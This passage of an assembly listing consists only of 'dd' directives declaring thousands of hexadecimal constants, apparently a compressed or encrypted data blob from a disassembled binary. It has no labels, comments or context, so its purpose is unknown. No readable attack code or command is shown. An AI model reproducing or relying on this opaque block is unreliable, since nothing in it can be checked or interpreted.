dd 0F2F0E829h, 192162B9h, 5F22E5AFh, 0DA4E665h, 14FF031Bh
dd 57BC60C0h, 50219641h, 0EE0013FDh, 28F90F81h, 4736A1F8h
dd 0D7AFD107h, 0C88C7388h, 0DBE683C3h, 47B20582h, 741590ECh
dd 2EA82F77h, 0FD402002h, 14413580h, 0AF459BDAh, 9F5BF00h
dd 79E18490h, 38A64F25h, 272DCB4h, 35F5739Ah, 0CB216E4Eh
dd 7E84E558h, 0CC7B0571h, 0AF0063B8h, 0C217F38Eh, 38EE5BECh
dd 478053EAh, 7988C073h, 0F8927D2Bh, 0B1028EA3h, 3A3C3F0h
dd 0B5A8E83Fh, 6BA030FBh, 0C3E6CCB9h, 6893D1E0h, 0EE389B07h
dd 3974BD42h, 0F3961076h, 0CA3348EFh, 0E1601800h, 0E05EE308h
dd 180AB425h, 0EEA9F090h, 3061826Eh, 819A4EDh, 88606F16h
dd 23C3DD49h, 821158EEh, 0DD41AA03h, 38002111h, 0FB56475Eh
dd 553520Eh, 0D4E41AD9h, 0EFCC402Eh, 805C1CBFh, 9F20E600h
dd 14DAF170h, 36F50008h, 0B87438B6h, 7124CC24h, 0DD1138BFh
dd 7EBB8840h, 313C9316h, 451106D0h, 303899A0h, 0FBE264h
dd 0DF10E04Eh, 0C8CFA80h, 36F047F4h, 4C2FEF24h, 7750A11Fh
dd 6556A403h, 49749B82h, 91672800h, 6DC5E529h, 106C00F9h
dd 22F13983h, 50902B8Eh, 0EBA54D09h, 0C58CA0BAh, 49E3A777h
dd 8879C88Ah, 9807BF4Ch, 7BF40F0Ah, 0C8F1A2C2h, 409BA108h
dd 51E70385h, 0F07C53E4h, 0E300B358h, 9529F079h, 12319169h
dd 9CD1B13h, 0A47256h, 352C81E4h, 89EE0093h, 0EC69544Fh
dd 25649837h, 242879CFh, 90DF08FCh, 0A0A2FC8Bh, 16DCB40h
dd 785A096Fh, 0F084BD0Dh, 7300F02Bh, 0BC013898h, 0FB6B7AC0h
dd 0A9AC6CA6h, 41D2086Ch, 0F088D426h, 0A9FB86F4h, 0BD012968h
dd 0D870A6BFh, 88A66483h, 1201168h, 6962509Bh, 0E4447DEEh
dd 0C0B4AF84h, 0F010408Bh, 6E03AC18h, 9A29351h, 0B04CD530h
dd 6723DE81h, 61DC641Bh, 0C8D069EFh, 26A5017Fh, 7421C61Eh
dd 9B229F24h, 0F6021870h, 0EDEBE0C7h, 0B9BDC12Dh, 1D020314h
dd 0E523209Ch, 2DD40CC3h, 0F80169E1h, 0CC43E134h, 88D0848Fh
dd 2CE7989h, 0F2F9176Fh, 6CE395E9h, 6C7177BAh, 308BEF08h
dd 70ECD0B8h, 4A01CC93h, 60EEC4DDh, 0AB887A18h, 16DD0042h
dd 0D8D35325h, 0D7277840h, 0B63C00F7h, 6A5ED17h, 7FA18F3Eh
dd 6D67688Ah, 0A1B9D2C8h, 68EF1DC8h, 18B65DF4h, 206A2FEEh
dd 7B431C56h, 0BB84724h, 28A8F492h, 7C465654h, 65F1007Eh
dd 6DB6B8FCh, 4A010CE4h, 0BEC084AAh, 0F2FC1A56h, 0B050B2D1h
dd 67CF2010h, 9220ECB0h, 433C0B30h, 44202AEBh, 8BFDCBE6h
dd 84270907h, 131974C6h, 0D2B03838h, 7913F040h, 0D022996Bh
dd 5A28684Ah, 231B0A3Dh, 246C0117h, 1E4E0A38h, 4B642808h
dd 0C0FC30B7h, 0A3234728h, 32E11BAh, 0FB28B85Ch, 6430E8D4h
dd 0BCCE7C20h, 0D0611468h, 1671BF10h, 98358EB9h, 2C2D406h
dd 50BFF8B1h, 58160C72h, 0CB86B008h, 70911892h, 826E7B42h
dd 8213E618h, 27C1B7Ch, 0A960F180h, 5C9A4B9Fh, 0DA22690Ah
dd 0FB00AC42h, 2CF134D9h, 65D01632h, 0BEB48C3Dh, 0EF73AF08h
dd 417AC4B1h, 98AFB6A7h, 2BEE030h, 0A6CB6B6Dh, 84E0EE07h
dd 108E7B9Fh, 82020AFBh, 117783DFh, 3F298126h, 78A2C60Fh
dd 9DFB1183h, 70066760h, 4691FA8Fh, 52D52DB8h, 18BC5411h
dd 4C2808C5h, 30C4E2A3h, 28BD6140h, 9002E60Eh, 0A3F8C2E5h
dd 5C0109FDh, 67DD6Fh, 0C16BE929h, 53819619h, 0F242295h
dd 867510A0h, 0A9FD4Eh, 0B512E14h, 0D1B26F88h, 0B500E5FEh
dd 287FA83Eh, 0A7EAEC30h, 607E44B0h, 275C40Ch, 0FA6F800Bh
dd 944444ADh
dd 4783F412h, 3222A002h, 0C8D46431h, 0C2C04168h, 46EF77AFh
dd 8122D1h, 6DAFBAABh, 0F48CC029h, 0C84C447Bh, 204F2F4Ch
dd 94D67834h, 9A270011h, 5967D835h, 1E009C15h, 0C94014EFh
dd 0BEE92EA5h, 2C2376C8h, 712CF071h, 81CCA85h, 0E8174359h
dd 523CC04h, 0E1B84E0Fh, 0B674168Eh, 3075E700h, 72ECCA23h
dd 843B515Dh, 30229531h, 0FF90433Fh, 0E4E80108h, 38EA7619h
dd 0A89049A7h, 0E54C7E77h, 0FCD20095h, 0D77F8BE0h, 2CFF841h
dd 0D39FB37Ah, 2C80FE65h, 0D65A1B1Ah, 19401649h, 0C4197803h
dd 7ABA0CE4h, 27186h, 0B14A091Fh, 0D0E65A05h, 4D4F4118h
dd 0B1A1FB81h, 0F2EF07E0h, 0AA20D8D5h, 7174681Fh, 440271B2h
dd 0A8D205E4h, 0C02795F8h, 3A422FC3h, 7BBD5D00h, 0D890E380h
dd 0A55103A1h, 0E8D5BF5Eh, 0A03A405Eh, 0DF0F3723h, 8FA1298Ah
dd 68D6088h, 24EA67FFh, 8BEC2DF1h, 4E45824h, 90DAF4h, 2749EE22h
dd 0C4396F8Fh, 25F1007Eh, 0D2F775A5h, 9AE80E40h, 89F202F0h
dd 607A1323h, 4FC13A94h, 31087244h, 2038A405h, 43104612h
dd 0C0CCE2D0h, 3BDB40BFh, 2485DA77h, 844FE4DDh, 7994B0BDh
dd 907AAF20h, 0ECD22630h, 89933EF0h, 0C3D897B3h, 1858EECAh
dd 0D10402E8h, 0A169D5DEh, 12F3A3B0h, 71B108C7h, 23D648Fh
dd 0FBA9F0A7h, 6724B293h, 607D44E8h, 26B9E5AEh, 6080C26Bh
dd 0EF109246h, 0D9C5D500h, 0C35A7658h, 73AB768Bh, 4E5602FDh
dd 35B9EAF3h, 6461E8CAh, 0C34454CBh, 14DC6E60h, 0C212CACh
dd 1B5408h, 5C41A652h, 0EAF81EB0h, 0B219EE60h, 907B279Fh
dd 0CDBC00A4h, 20ED23Eh, 572DCFECh, 3424227Dh, 8906655h
dd 761A5469h, 81CA840Dh, 0B4F2A870h, 0EBE00580h, 0AC589026h
dd 1218B554h, 57B8D87Eh, 25B4A404h, 0C820A162h, 56A5BD65h
dd 0DB4480B0h, 0C6CE0F69h, 65624912h, 24C6EBA2h, 4827AD31h
dd 3E0BD64h, 0CECB23Ah, 0BC4256B8h, 26149F18h, 8248ECDBh
dd 61B254A6h, 909CC752h, 0D0CCA137h, 8069420Bh, 4DBE54B1h
dd 206D560Ah, 2089F185h, 69C1A788h, 43A83F64h, 36651A30h
dd 3EB77809h, 2DBC8168h, 0C24ED69h, 725D16B3h, 89089067h
dd 0E1809037h, 0F39224EBh, 0D811ADC0h, 0A5098584h, 34313E03h
dd 5028C11Bh, 57AFEB0Ch, 0A5A22C71h, 31002C54h, 925CFD82h
dd 4A30C5ACh, 0AE98884Dh, 6008A048h, 0D01A57B0h, 89067h
dd 10C7F1CCh, 4C616A2Ah, 0C56D02EEh, 5018C169h, 588CA6F0h
dd 0EB3FB86Dh, 83913A34h, 0A946DDC3h, 359D170Ch, 21101C96h
dd 952D4829h, 800491F8h, 7C0EC7BCh, 646C7DABh, 986AA0E1h
dd 0DD0844E8h, 0C430EEBEh, 3CA54281h, 0B2C485DDh, 13D38C80h
dd 17FA0FF2h, 251D43C4h, 0EC200844h, 23A51F99h, 0B518B053h
dd 9C521950h, 79EE0990h, 7ECCA13Bh, 19A78AEFh, 27767080h
dd 0E8986834h, 3B48DA22h, 29E8EA29h, 7B465C60h, 0F3424501h
dd 28AB23A3h, 75038430h, 18861B09h, 37978930h, 0D23500C8h
dd 8F2498B9h, 83A47C00h, 22E6AB9Dh, 7B2031DEh, 1176EBC9h
dd 482C7274h, 728238Eh, 0A0034E09h, 8FF51F5Ch, 6CC15DF2h
dd 4FDA1878h, 0D5354171h, 0F03C703h, 0DB7A0CBBh, 74A688B7h
dd 7121062Bh, 611F7BC9h, 29E91A0Bh, 389801F1h, 75F11570h
dd 0FCBCC4D2h, 806494F2h, 4B7ECDE6h, 33C243Ah, 7518E22Dh
dd 4C0F1E8h, 6870B9Fh, 639B94Fh, 3CF1DBBh, 0BF00187Ah
dd 723E38F0h, 0CCBE6E2Ch, 9D091969h, 1DE726h, 31D8699Bh
dd 0BA30489Eh, 7720F2D4h, 4EE152E7h, 9D38064Dh, 0D890911Eh
dd 184E7537h, 98C36048h, 0E700DDACh, 0E2224B2Ch, 26AFF57Fh
dd 46F4966Bh, 4C3C51D6h, 0F4222EA5h, 9F737488h, 44B6DDECh
dd 976D4381h, 229BB454h, 9EDC90D5h, 7AF101FCh, 75C96E81h
dd 0ACE6F23Fh, 302B7920h, 0D21924A5h, 423D3C6Ah, 6DC98062h
dd 52207411h, 9EB71EEh, 9A1C5AA6h, 4C4E88E0h, 6EFE66E4h
dd 0BDCF1500h, 6FDB7039h, 0CB9F25B3h, 71679806h, 0F1F4CA14h
dd 549D2660h, 0FBAF7702h, 6FD4A489h, 0C9407E4Fh, 46BE612Ch
dd 0A0279A2Eh, 0C01C7504h, 2AE3A4F3h, 681F2194h, 0E8855D08h
dd 0C4A27320h, 0C023D430h, 98738ED9h, 1F7DA4A0h, 0F017CC04h
dd 14D2BE22h, 9223424Bh, 7B68C064h, 89A09E69h, 0AC2A344Fh
dd 481D40ECh, 1C52969Fh, 0F004439Ch, 4FDDABh, 55D9D67Fh
dd 3585D489h, 8ACC883Ah, 0CC7875Eh, 863C6500h, 85FC6CBh
dd 4F85927Fh, 7D4DD903h, 8260C0DAh, 0F85FF8CBh, 763F8CCh
dd 0CCAD87Bh, 51DBC07Eh, 0D1E3D586h, 6385FC8Ch, 0CDDA8303h
dd 3FCE8E0Ch, 0D1878028h, 90DD8958h, 0C886815Ah, 0D8405B60h
dd 0BA3A1Ah, 0D1884DCDh, 0DB896585h, 27F69300h, 3A0C7270h
dd 441F986h, 808F8A14h, 0A8808D5Fh, 90B26C40h, 0D53A2F0Dh
dd 5FC579D3h, 7E713EE3h, 4C18DC37h, 0DE54D6E1h, 0CF7D8608h
dd 0C70A4E7Ch, 384350D7h, 1888036h, 8D5ECABCh, 5AD4CFh
dd 0C3F0CA2h, 5DF96FD9h, 85194FE8h, 0A338B3AFh, 0CA7E11D8h
dd 0A02F40h, 0BB6957C8h, 30EB0CB9h, 240050D9h, 895EB573h
dd 0CE3AAEC9h, 8BAF29E1h, 0D7B67838h, 0B57D5B04h, 0CA3240BAh
dd 0CEDE5F00h, 0B4631060h, 9231A085h, 3BD90FCFh, 0C191BA6Fh
dd 0D4833CB9h, 662CE4F3h, 0D32744B0h, 1974906Eh, 48C0821Bh
dd 0CB80D8Eh, 3BB0B658h, 4D6AC0ACh, 0E60278CEh, 0E528264h
dd 84EBC0E8h, 3188215Ch, 9A8F40B5h, 904C8915h, 496C048h
dd 90C21580h, 79CFAFB8h, 0B089499h, 583C194Fh, 593B0992h
dd 401E606Ch, 42A26450h, 0FC1989C3h, 0CC885CEh, 719B6C39h
dd 0B1842558h, 0E26037E4h, 0DE0E2E94h, 80B07CA8h, 0D0B9557Ch
dd 889A850Ah, 2C1B5B65h, 60986690h, 2094D10Fh, 7598E1Ah
dd 77C48394h, 887A338h, 43D40E26h, 0D67A8896h, 80882143h
dd 200C8C54h, 0D52C405Dh, 234210BCh, 0CE50583Fh, 20579E22h
dd 28D62214h, 0A058785Ch, 0F9DB81F0h, 5E188C7Dh, 0FC4E1809h
dd 792D889Ah, 0F120A3AFh, 7B289EB7h, 0A1EE39A6h, 0C00B8115h
dd 8578067h, 0F141BB64h, 2DDE02h, 5B2DD6Fh, 0EBA3EFF0h
dd 15AC5E8Eh, 29172489h, 0EA4481B6h, 0D2985719h, 0D0A057B7h
dd 0A54128E9h, 71EE690Ah, 28BCB053h, 0E8024003h, 68F172AFh
dd 8C044675h, 22C24244h, 12DCA596h, 3008B5EAh, 7D443F78h
dd 0D5704B74h, 0A7480DE8h, 4F044141h, 97C5179Bh, 64570C48h
dd 1947329Fh, 1C08158Fh, 9847C43Dh, 0F5208248h, 875CA02Ch
dd 29E98078h, 0A6841119h, 9185F40h, 3C782324h, 203C9C4Ah
dd 0BE67F093h, 5127C1D0h, 0A29C6605h, 2EF85A03h, 4FCF0C6h
dd 40ED4D8Ah, 55539B49h, 0C6E0C525h, 4E14C1AEh, 582028D3h
dd 6E2819DFh, 0AC535D48h, 222820C7h, 0EDF2E343h, 7B4C5098h
dd 0E54F2918h, 24CF7821h, 30C9E8Dh, 0AED4BE7h, 25D61818h
dd 0C1800239h, 0ED2BE741h, 2718862Ah, 183991CFh, 51D5EB75h
dd 3E793AFCh, 35F20E00h, 0B6DD4DC6h, 0E27805CBh, 0C2F6688Ah
dd 0AC90E9C8h, 217C6D3Ch, 9171F088h, 7EA00280h, 0D441C76Fh
dd 66E0805Bh, 657244C1h, 4E105C6Ah, 0B6193532h, 6D8AA240h
dd 6F200490h, 7F74F67Bh, 0B63F8EDh, 82269D45h, 89C2F080h
dd 0EF1880F8h, 0EE09E8BDh, 0F1CC0075h, 6F693EB4h, 0EA2B29ACh
dd 0E0984C6Eh, 291944B8h, 11E0896Bh, 6A4018A8h, 0C9AB748h
dd 0F5F66949h, 0A78824F0h, 8E8C961Ch, 751056EBh, 41240403h
dd 3D107175h
dd 0A93E121h, 0F010CCFDh, 6E3E301Dh, 0E0D18413h, 0BC46FEA3h
dd 18047821h, 71F74E7Eh, 0B249FB3h, 0ACA6D876h, 0EBC0BE80h
dd 18288A1Eh, 4865BDD6h, 0A34EE67Ah, 80964808h, 0A0D18E20h
dd 1B099CDBh, 52D56717h, 0B06FA3FCh, 798DDEFh, 10E5BE28h
dd 66404C71h, 4CF6AF88h, 0D12A20E3h, 0C8F87D90h, 4E80C910h
dd 0C0F0B8DDh, 0DFF10171h, 4F264DF4h, 96C18BEEh, 24F4709Ah
dd 8A745C9Fh, 80BCBFC6h, 99703DB8h, 0F5262025h, 1147E84Fh
dd 3937F280h, 22DD066Eh, 0B05132C0h, 0AF12EDEAh, 2C08B570h
dd 8FF19E4Dh, 80FFBF78h, 0A407217Ah, 152DDC54h, 127490EEh
dd 44AF0198h, 0C4B83729h, 9EFCD071h, 0B0925496h, 4CEB1C46h
dd 0C3888B59h, 0C7110044h, 3DF280AFh, 0C901E95h, 24D41553h
dd 1225A832h, 7C60B07Ch, 2136699Fh, 52B46402h, 0D7798460h
dd 9DEF0CA0h, 0D03DD52Ah, 0F067F8BEh, 7C6B5230h, 16002DFh
dd 9EE271EFh, 1431ACE2h, 0B8386056h, 4B9F30A0h, 59F5F884h
dd 0A122B830h, 39F16C00h, 6DD8A54Dh, 72940077h, 0ABE49F1Dh
dd 2160D60Eh, 956C1A29h, 2EEB00F2h, 761127ACh, 491DDE7h
dd 68107413h, 214ABC28h, 43D08D6Ch, 98B9146Bh, 640E2CC7h
dd 0C0154E72h, 93562C7Dh, 241168h, 0FF99FE1Eh, 24273E4Ch
dd 641C22B0h, 0BF75304Ah, 0DC4617C3h, 0BE88456Eh, 0C99821A0h
dd 2AF07239h, 0DD210CE6h, 0A10E0849h, 93D6942h, 99000C64h
dd 81FB105Dh, 0E6D8DCEEh, 6DCB07C4h, 41884EE5h, 0D053E0h
dd 5AFC2E91h, 0B2D8569Ch, 0E8CE009Ch, 0D5A23C96h, 79F104DAh
dd 88E929FAh, 6E005ED4h, 6CBF9204h, 0CBC647h, 2407BDA7h
dd 945C56FAh, 509B4D00h, 0C2781558h, 8C7B4F74h, 6E3D44D8h
dd 0FC2687DCh, 6C55B820h, 27A93C88h, 2C90736Ah, 0D909FEC9h
dd 0D9DD67CDh, 0AB87094Ch, 7573B4D2h, 3C000099h, 0D5E8BE79h
dd 1DCC001Ch, 0AEAF5517h, 270ED9FBh, 0CBC6E5E7h, 0F4E8A764h
dd 7500CC2Ah, 36D5F8ABh, 1E697072h, 406C46E8h, 87CCBCE4h
dd 1200BB2Dh, 0E778AA7Fh, 6C13996h, 0B40E99Dh, 730030F1h
dd 0BB2779ACh, 5CFA26h, 0B47BAFC6h, 3C22A758h, 489CC100h
dd 32211383h, 20DC6071h, 0C5B52F27h, 0C4207A53h, 0AD601E96h
dd 0BB0332F7h, 3D36759Dh, 7C38A6A3h, 0C110603h, 212E5E72h
dd 1AFD938h, 29567F1Eh, 6FFD3735h, 83A8D890h, 33F9ACh
dd 783C8D31h, 50A4912Eh, 4E587760h, 3C9AB43Eh, 0A3987608h
dd 0CDBD71A1h, 613EA3Bh, 1EBF4BB9h, 21B36009h, 0B6EAC5DDh
dd 107C1914h, 4D186298h, 0EBD680F8h, 7CEF6D03h, 0AC840CBFh
dd 0A420A036h, 7E41A96Fh, 339F3180h, 0F2EBBCh, 3EB791C1h
dd 0CD453A5Bh, 4036F8C7h, 30AC31ECh, 0A8C92DFEh, 0C0043F89h
dd 8786DEE2h, 92C20F1Fh, 4C6AFA80h, 173A8B2Ah, 0B80C26B7h
dd 0E9C40B00h, 0C2D4A44Eh, 7A7607F9h, 0EAD07890h, 0D146167Eh
dd 0E000BA22h, 0CF08EAC8h, 120057Dh, 445BBED4h, 9D2834A1h
dd 0EF069199h, 112B5Dh, 0CF611547h, 79C20FB0h, 8FFA833h
dd 6921003Dh, 33A5610Dh, 12002B91h, 7BB3FA96h, 6787F7DDh
dd 73A3D982h, 9CC8A08Bh, 6518F464h, 7832058Fh, 0FE850A70h
dd 5C68DF43h, 6F0EB646h, 0C01C8D4Ah, 0ABB2DBE8h, 5D447502h
dd 9E250627h, 11BF0FC5h, 38F5DB00h, 99E24480h, 93C662Bh
dd 0FB0221D3h, 0EA3F38EEh, 1FD4E17Eh, 99F29AE9h, 1A18F490h
dd 0B0D46108h, 403EC437h, 6861126Eh, 905BE625h, 292201FAh
dd 62468967h, 5F6820C7h, 1A0D7A00h, 0BC12766Bh, 3FFE0C56h
dd 91D0B960h, 2D050211h, 0F8C0C888h, 43448338h, 0F1FE80FAh
dd 7CDBB538h, 0A5261FA2h, 2A0020AAh, 9D29413Ah, 1108423h
dd 9B3C7B85h, 912C3921h, 0F680C668h, 0EA448138h, 0FCD4448Ch
dd 5E38EF01h, 6B0FF1DBh, 837F87ECh, 676E2A8h, 95333201h
dd 0E721C6C5h, 12845DCCh, 489E8AABh, 5080A5ACh, 64788536h
dd 1D10008Eh, 0C83B2FF1h, 8000BDF5h, 816A1E11h, 2322B14h
dd 7BB02E30h, 3464A47Dh, 0CC791700h, 0DFD4165Eh, 68A1D0BCh
dd 38CD1B8h, 0D5CB7DEEh, 84D8468Dh, 0FF1E92E6h, 54C70F74h
dd 0BCCA7F43h, 2109371Dh, 84A4222Dh, 73F0E0DDh, 63447CF0h
dd 0AAF81925h, 0BD01F1D6h, 7EE7A8FCh, 94508886h, 2B8450h
dd 63E6B5B9h, 3AA77FC8h, 3BCA9100h, 34BD11C1h, 0D393022Fh
dd 0CB9E2623h, 38FB6890h, 12448608h, 40D2649Ah, 0E038F401h
dd 33BD0C93h, 2619C310h, 0C97E1307h, 3772BED7h, 56A4903Bh
dd 0B3F60032h, 4688D3D1h, 3C495D6Fh, 653F44h, 2EC12370h
dd 306097h, 1D82A783h, 0D2F1FD7Ah, 59A3BF00h, 79803C8Eh
dd 0F0144C6Ah, 1F218807h, 0EF09013Fh, 90F9C82Dh, 1C81B916h
dd 0EA293C04h, 81A73045h, 10BF0404h, 62778F11h, 0C9E0480Eh
dd 23441468h, 0B82A2E26h, 2BC50200h, 92D894Bh, 7FD071BAh
dd 48BEC882h, 0EDD29B20h, 20DF53C8h, 6447CC84h, 0D188208Eh
dd 205B9AC0h, 3C3630C6h, 4E1DBB69h, 0C0CF19ECh, 0B0F00992h
dd 11611624h, 8817B0D0h, 0E6A8142h, 0E0ECAF61h, 0B8032EEEh
dd 0AD849FE5h, 0CA7901BEh, 7DB34554h, 586BCA89h, 10087962h
dd 1B3C4837h, 288400F0h, 8273C207h, 9905603Eh, 838740B2h
dd 0FA2A1CC0h, 0E4314CD5h, 28C3067Ch, 48CB27FDh, 30FC5F0h
dd 43B77201h, 58FBE602h, 63113C28h, 0CAEC5092h, 1B81CBh
dd 6F5126CCh, 0FE20C09Eh, 9DBAEC5Eh, 448E7400h, 89E97210h
dd 0B0DB00AEh, 0F4C7A02Dh, 0FE07F7BFh, 8ADE75ACh, 335346B0h
dd 0A3D00068h, 3CBF636h, 0BD1499FFh, 34442A28h, 0B081518Dh
dd 31A42F23h, 93500680h, 26098075h, 7CF190Ah, 47C3B034h
dd 9C18048Dh, 1D3D0FAh, 8A5F40EDh, 0FFDDF000h, 714F030Eh
dd 8C8F4527h, 0F66F9421h, 0F5264030h, 5985C4FBh, 9D408C90h
dd 0C3F783ADh, 1814E31Ch, 80C40D10h, 0DF4BE929h, 63EB03A0h
dd 4F991A46h, 0F5F674A1h, 212982B3h, 812DC329h, 0B4AB3EF0h
dd 0D1B084F2h, 8218F640h, 6CB94A36h, 505F2000h, 3981E046h
dd 0A00005B2h, 0FE95E6E8h, 0B913DFA3h, 0EE9D6h, 0B7E38FF8h
dd 0C88A700Ah, 87A52706h, 58BB0708h, 0C0C524B3h, 92A42860h
dd 86187A62h, 0DD48C85Dh, 0BCFE5024h, 0DCC40F10h, 0A1262772h
dd 860CF8B9h, 28B86673h, 0B0FF44B3h, 0BAFC2284h, 0AA115F42h
dd 749C2201h, 0AC46000Fh, 48E33FA6h, 8207A043h, 1D05E2E7h
dd 0B86A7C51h, 3C4CC2D4h, 120075B4h, 0B01AD851h, 0B3003EEEh
dd 4EA38749h, 44E1E4h, 1C170FD0h, 85A9AF09h, 0A6F8CF00h
dd 0B8746505h, 0FD640E0Ah, 3B2E6F54h, 7D1B1AE1h, 9141F4BCh
dd 111C0831h, 2980D496h, 6D5DD07h, 0D700CA03h, 82E59A86h
dd 7D1AA5h, 622AA03Ch, 0CD37A6EFh, 0D5AD2E00h, 297C4FF8h
dd 977D40h, 0A1059D4Dh, 2BC0FAB3h, 0C604B77Dh, 62968307h
dd 0C898F883h, 6038A91Dh, 53871875h, 0A576A673h, 0AD851900h
dd 3F9160CBh, 0AE630043h, 0C9230132h, 0B039428Fh, 7C83E38h
dd 0DAEAE176h, 3B1B51C0h, 0F62B00BDh, 8F93565Bh, 860E5D82h
dd 4087259Ch, 5CBF1CA0h, 756E00A1h, 0F9A87B4Fh, 0F53CE813h
dd 378D8FFDh, 0F778C079h, 0B45C84h, 0E253A198h, 9AD3B7C8h
dd 0EA006C9Ah, 8244AE43h, 0E14BA6h, 7FEB081Fh, 1A846DBEh
dd 20D25800h, 1CB49DB6h, 0B8F4F1CAh, 0F44CA82Ch, 2AF800EFh
dd 0ACDD4990h, 92175C77h, 40D5AC2h, 1BE460E7h, 0ACCCA810h
dd 0F3060034h, 8D4FB938h
dd 23F549Dh, 84D88011h, 8063887Dh, 9C100A2h, 945DCD31h
dd 67020C2Ah, 13975AB9h, 0F9D8685Fh, 5C920310h, 0DDC5F561h
dd 86089B90h, 811CF200h, 0FEA3892Ah, 0F0C78ADh, 0BDBA788h
dd 0F80307E3h, 8C5B73A8h, 7DED4200h, 7C6F55AEh, 0B3C00054h
dd 0EBCC568Eh, 96000482h, 641A91A4h, 18E55160h, 0C8B06FB4h
dd 9800EB62h, 906C85A7h, 0B55DE6h, 134ED15Eh, 1A573D63h
dd 1500F0ECh, 3F259BA2h, 0D83632h, 0DDC6ACC1h, 0A93D2DCEh
dd 0D010E78h, 84FCA72Bh, 79C4F622h, 54DB4825h, 48BD2103h
dd 0B8002898h, 9612F327h, 11154Fh, 3C19AB16h, 0AE542CBh
dd 5B98D4F9h, 0FBAE8E1Eh, 0E818F4C0h, 38F6D7Bh, 8A5DCABEh
dd 46E6DF98h, 3BA6CF1Fh, 60DA5989h, 0C02A9Ch, 22C2C862h
dd 845F64FFh, 1DE29E4Ch, 984038EAh, 0DD39D44Eh, 59D03C30h
dd 0BC6C2E00h, 230ACC36h, 0A31C64F4h, 0FE016A87h, 18F3EC60h
dd 2CC3E420h, 0D999BDh, 37B0E668h, 0C8F534F5h, 0AD04C0D7h
dd 9F1045BBh, 20C3D890h, 377780E4h, 0D88E214h, 43A000D0h
dd 0D282F9DFh, 6C8F0198h, 51F2AB77h, 4097E91Ch, 0EF085E98h
dd 85943600h, 13CC3B18h, 194900E9h, 879D0D95h, 5000DDDCh
dd 90FBD320h, 0BCA41BEh, 62309F2Dh, 578ACC00h, 83807734h
dd 0D28C1D20h, 6F28401Bh, 0EC7E4B9h, 624A5800h, 0FDAEF2A8h
dd 91370F44h, 7C0076F9h, 1A8FD895h, 293F3400h, 0C4A4CCB3h
dd 6C27004Eh, 0AFCB5446h, 0E77C11EBh, 24006090h, 84CE2049h
dd 789B3776h, 63C11FC7h, 0E644414Dh, 2470C9B9h, 0CC12EA94h
dd 840773A6h, 7C604166h, 0EED3605h, 0BCA0BDF1h, 9FCEB102h
dd 0C196E881h, 697834DDh, 4E00504h, 11819B1Eh, 1880870Ch
dd 0D3020159h, 2200DBD0h, 0F07F376Ch, 0D7E478h, 341687EAh
dd 0A3844760h, 2D0E5200h, 54A4F6FCh, 4D6B28FFh, 668E00D8h
dd 7574F1D2h, 0DF002AADh, 0A5CDB63Dh, 20B4DC3h, 4A314C9Fh
dd 80CBF4F3h, 7BCD2390h, 59005FFAh, 0D4F55315h, 0CC243Fh
dd 0DA2A0A97h, 37922DF9h, 39BE194Ch, 28C4006Dh, 0E2A5131Ch
dd 0EB4BF2h, 30383B1Ch, 9B00D3BAh, 0FC7157CDh, 0FF66Ch
dd 0A9910663h, 0EF2CA1C6h, 2009EEAh, 643AF0AAh, 2ED88E48h
dd 19E0CBh, 0CAC27C30h, 6C13FE53h, 0A2006942h, 9D589493h
dd 985A5478h, 51F3004Bh, 6DB6386Bh, 0C33BB91Fh, 8822001Eh
dd 5D4F4E24h, 2D3B07C7h, 0F1AA2180h, 0D78265E2h, 231F71C0h
dd 1EC96B00h, 0DDBDF5EEh, 0D47E0069h, 0C8CE68FBh, 67260120h
dd 8F00F461h, 33B288A2h, 99B31F4Bh, 1D814EB8h, 308DDAA0h
dd 0CE023910h, 26BA2ECBh, 0F0106390h, 794FE365h, 0BD321879h
dd 60941922h, 7A00A871h, 54CF8923h, 3C0EC1Eh, 52F3B8E9h
dd 9F98D862h, 0CA01E1EFh, 1B50C6A2h, 0BC20B954h, 0E5F30219h
dd 0B8C764D8h, 0FE32C880h, 1801CCF1h, 7C696F0Ah, 2299A6h
dd 2D3AEB00h, 250C5D17h, 0AE12567Fh, 14A057AAh, 6CA01734h
dd 8FA0073Bh, 307247C2h, 0D9FE9F88h, 0AD1FC100h, 4C1C13EBh
dd 49DA00A0h, 6921550Ah, 0BC01E0C7h, 72A44EEFh, 0BED91440h
dd 3EDBFD4h, 73F57B82h, 68B821B7h, 4A02543Ch, 79F14638h
dd 7854403Eh, 3BC0050h, 0DD4BA919h, 971765A8h, 0E4405A82h
dd 47E240AAh, 7FA30042h, 1F03DFE4h, 60BA7E84h, 54CE1900h
dd 50B15DBAh, 0AE1800DAh, 4CB63BECh, 4F16A28Ah, 0A04023E5h
dd 746CE07Dh, 3A80981Ah, 2EA23D43h, 7BB45200h, 0A176AB64h
dd 0D6052403h, 0E0F2C44h, 6A0E796h, 0F2EE62C8h, 0C5E0A750h
dd 0D693910Ah, 2300C8D0h, 6BCD67FBh, 0E3A21C6Eh, 0C08ED2DDh
dd 4E3BCC24h, 1900CAF6h, 0A4858860h, 0D1660ED8h, 3A0DF848h
dd 47319186h, 0F993A756h, 0E667020h, 0B376D679h, 0AF233501h
dd 1E202CEh, 8E144080h, 0EC92661Eh, 1CB34C2Ch, 0B6CCBB84h
dd 1A604C89h, 9CB40011h, 1E3491D6h, 0BB001851h, 3E9BCCA3h
dd 24204828h, 9CCABC2h, 94802E44h, 0AEBAB4CBh, 0DFC5000h
dd 74795727h, 9E61C0A2h, 883E813Fh, 0CF00AEF6h, 408FD1C1h
dd 0E27760Fh, 7E99D244h, 0EEF68582h, 3E300472h, 0C2F7308Dh
dd 0D7B000D1h, 9CE4CAC1h, 7000530Dh, 1CF673B2h, 26BC5FA8h
dd 0EF64512h, 0D5803C6Dh, 0BBF08584h, 1F921E07h, 0ED907463h
dd 606E9065h, 99C27901h, 0C107BFAAh, 1F118279h, 0B0ED4B40h
dd 4AA70F5Fh, 75A37DE1h, 3BF887D0h, 2F12C8C7h, 41019D15h
dd 2C391F16h, 26010038h, 0A8D3C2F0h, 867C407Fh, 0B80060A3h
dd 0D77D209Dh, 6F2DDFh, 2A7BB302h, 13462980h, 2451DC4Eh
dd 6186B804h, 7F5E89D8h, 8F1880C0h, 2D8AE762h, 0AD8900A4h
dd 0C906BB24h, 0A300D071h, 9BF4095Eh, 64B99074h, 217529E9h
dd 0F51173ECh, 0C6800F3h, 0FFE6005Ch, 9C83F96Fh, 220097D0h
dd 0BC32363Ch, 7CE9AD5h, 0CA7E1B58h, 661C80D6h, 0BA037438h
dd 540CA004h, 0EEA8A89Dh, 297F09F7h, 0D4804540h, 7077B7B1h
dd 8660200h, 59C91AE8h, 0FDE2479h, 487E0458h, 65708356h
